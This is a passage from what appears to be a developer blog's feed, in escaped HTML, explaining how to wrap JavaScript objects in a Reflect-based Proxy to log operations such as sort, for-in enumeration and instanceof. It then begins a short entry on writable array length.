&lt;h2 id=&quot;how-this-works&quot; tabindex=&quot;-1&quot;&gt;How this works &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2022-02/watch-javascript-via-proxy/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;trace&lt;/code&gt; returns a &lt;code&gt;Proxy&lt;/code&gt; around your object that uses &lt;code&gt;Reflect&lt;/code&gt; to perform the normal &lt;code&gt;Proxy&lt;/code&gt; operations but then &lt;code&gt;console.log&lt;/code&gt; the call.&lt;/p&gt;
&lt;p&gt;The constructor for &lt;code&gt;Proxy&lt;/code&gt; takes two parameters: first the object you&#39;re wrapping, and second an object with functions for all the different kind of object interactions that you want to intercept. Because we want to just log the interaction and not do anything specific we can use a &lt;code&gt;Proxy&lt;/code&gt; around &lt;code&gt;Reflect&lt;/code&gt; to define this second parameter.&lt;/p&gt;
&lt;p&gt;Our inner &lt;code&gt;Proxy&lt;/code&gt; implements the handler of the outer &lt;code&gt;Proxy&lt;/code&gt;. The handler is supposed to have methods called &lt;code&gt;get&lt;/code&gt;, &lt;code&gt;set&lt;/code&gt;, &lt;code&gt;apply&lt;/code&gt; and others for each operation to intercept. Instead we define our inner &lt;code&gt;Proxy&lt;/code&gt;s &lt;code&gt;get&lt;/code&gt; to return a function that will perform the operation and log it using &lt;code&gt;logCall&lt;/code&gt;. The function we pass in to &lt;code&gt;logCall&lt;/code&gt; to run is one of the functions off of &lt;code&gt;Reflect&lt;/code&gt;. &lt;code&gt;Reflect&lt;/code&gt; defines all the &lt;code&gt;Proxy&lt;/code&gt; handler functions &lt;code&gt;get&lt;/code&gt;, &lt;code&gt;set&lt;/code&gt;, &lt;code&gt;apply&lt;/code&gt; and so on but where each just performs those operations. &lt;code&gt;Reflect&lt;/code&gt; is like a convenient default for all &lt;code&gt;Proxy&lt;/code&gt; handler functions. We want to perform the default operations but additionally log the result so using &lt;code&gt;Reflect&lt;/code&gt; is exactly what we want.&lt;/p&gt;
&lt;h2 id=&quot;what-you-can-do-with-it&quot; tabindex=&quot;-1&quot;&gt;What you can do with it &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2022-02/watch-javascript-via-proxy/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;With that you can call &lt;code&gt;trace&lt;/code&gt; with an object and get out a &lt;code&gt;Proxy&lt;/code&gt; that acts just like your object but also &lt;code&gt;console.log&lt;/code&gt;s every &lt;code&gt;get&lt;/code&gt;, &lt;code&gt;set&lt;/code&gt;, &lt;code&gt;has&lt;/code&gt;, &lt;code&gt;getOwnPropertyDescriptor&lt;/code&gt;, and so on that JavaScript asks of your object.&lt;/p&gt;
&lt;p&gt;You can watch how &lt;code&gt;Array.sort&lt;/code&gt; sorts an array.&lt;/p&gt;
&lt;p&gt;Or how &lt;code&gt;Array.toString&lt;/code&gt; calls &lt;code&gt;Array.join&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Or how &lt;code&gt;Array.concat&lt;/code&gt; checks for &lt;code&gt;Symbol.isConcatSpreadable&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Check out the corresponding ECMAScript standard and you can see how the logged Proxy calls match the standard defined steps for things like &lt;a href=&quot;https://tc39.es/ecma262/multipage/indexed-collections.html#sec-array.prototype.sort&quot;&gt;Array.sort&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Because I pass objects to &lt;code&gt;console.log&lt;/code&gt; DevTools will show you an interactive object in the console. If you try it out the log is easier to understand than as text in the gist:&lt;/p&gt;
&lt;pre class=&quot;language-log&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-log&quot;&gt;array get &lt;br&gt;        &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; sort Proxy &lt;span class=&quot;token operator&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;br&gt;    &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; ƒ sort&lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;native code&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above is a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get&quot;&gt;&lt;code&gt;Proxy&lt;/code&gt; handler&#39;s get call&lt;/a&gt;. The first param is the array &lt;code&gt;(3) [300, 200, 100]&lt;/code&gt; on which we will &#39;get&#39;. The second param is the string &lt;code&gt;&#39;sort&#39;&lt;/code&gt; that is the property to get. The third is our proxy.&lt;/p&gt;
&lt;p&gt;I haven&#39;t tried wrapping the return values in trace Proxy although maybe that would give an even better picture of what&#39;s happening.&lt;/p&gt;
&lt;p&gt;Various &lt;code&gt;Array&lt;/code&gt; functions can operate on a &lt;code&gt;this&lt;/code&gt; that is a not an &lt;code&gt;Array&lt;/code&gt;. If you&#39;re trying to make a non-&lt;code&gt;Array&lt;/code&gt; object work with &lt;code&gt;Array&lt;/code&gt; functions, then using a &lt;code&gt;Proxy&lt;/code&gt; to watch what JavaScript is doing can help debug.&lt;/p&gt;
&lt;h3 id=&quot;watch-a-for-loop&quot; tabindex=&quot;-1&quot;&gt;Watch a &lt;code&gt;for&lt;/code&gt; loop &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2022-02/watch-javascript-via-proxy/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;But Proxy watching works for other parts of JavaScript and not just standard functions. For example watch a &lt;code&gt;for&lt;/code&gt; loop enumerate over your array:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; arr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;trace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;array&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;br&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; name &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; arr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the log:&lt;/p&gt;
&lt;pre class=&quot;language-log&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-log&quot;&gt;array ownKeys&lt;br&gt;    &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;br&gt;  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;2&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;length&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;br&gt;array getPrototypeOf&lt;br&gt;    &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;br&gt;  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;constructor&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; concat&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; copyWithin&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fill&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; …&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;br&gt;array getOwnPropertyDescriptor&lt;br&gt;    &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;br&gt;  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;{&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; writable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; enumerable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; configurable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;}&lt;/span&gt;&lt;br&gt;array getOwnPropertyDescriptor&lt;br&gt;    &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;br&gt;  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;{&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; writable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; enumerable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; configurable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;}&lt;/span&gt;&lt;br&gt;array getOwnPropertyDescriptor&lt;br&gt;    &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;br&gt;  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;{&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; writable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; enumerable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; configurable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;}&lt;/span&gt;&lt;br&gt;array getOwnPropertyDescriptor&lt;br&gt;    &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; length &lt;br&gt;  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;{&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; writable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; enumerable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; configurable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;for&lt;/code&gt; loop asks your object for the names of its properties and then the value of each.&lt;/p&gt;
&lt;h3 id=&quot;watch-instanceof&quot; tabindex=&quot;-1&quot;&gt;Watch &lt;code&gt;instanceof&lt;/code&gt; &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2022-02/watch-javascript-via-proxy/&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Or &lt;code&gt;instanceof&lt;/code&gt; with your proxy on the left hand side&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;arr &lt;span class=&quot;token keyword&quot;&gt;instanceof&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And watch JavaScript get the prototype of array&lt;/p&gt;
&lt;pre class=&quot;language-log&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-log&quot;&gt;array getPrototypeOf&lt;br&gt;    &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;br&gt;  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;  &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;constructor&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; concat&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; copyWithin&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fill&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ƒ&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; …&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or &lt;code&gt;instanceof&lt;/code&gt; with your proxy on the right hand side&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;String &lt;span class=&quot;token keyword&quot;&gt;instanceof&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;arr&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And watch JavaScript ask your array for its &lt;code&gt;Symbol.hasInstance&lt;/code&gt; property.&lt;/p&gt;
&lt;pre class=&quot;language-log&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-log&quot;&gt;array get&lt;br&gt;    &lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; Symbol&lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;Symbol&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;hasInstance&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; Proxy&lt;span class=&quot;token operator&quot;&gt;(&lt;/span&gt;Array&lt;span class=&quot;token operator&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;}&lt;/span&gt; &lt;br&gt;  &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;  undefined&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(Here&#39;s a &lt;a href=&quot;https://gist.github.com/david-risney/120af7aadb3d3c946e85f46e3869a8eb&quot;&gt;related gist&lt;/a&gt;.)&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>JavaScript Arrays are neat</title>
		<link href="https://deletethis.net/dave/2021-11/javascript-arrays-are-neat/"/>
		<updated>2021-11-24T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2021-11/javascript-arrays-are-neat/</id>
		<content type="html">&lt;p&gt;JavaScript arrays are unbelievable. If I told you the length property of an array is writable you might chuckle and say &#39;oh JavaScript&#39;. But no, it goes all the way.&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 3&lt;/span&gt;&lt;br&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;,&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// 1,2,3&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This seems like a curve where folks very new to programming or very experienced with JavaScript know what this does and folks in the middle say that can&#39;t possibly work:&lt;/p&gt;
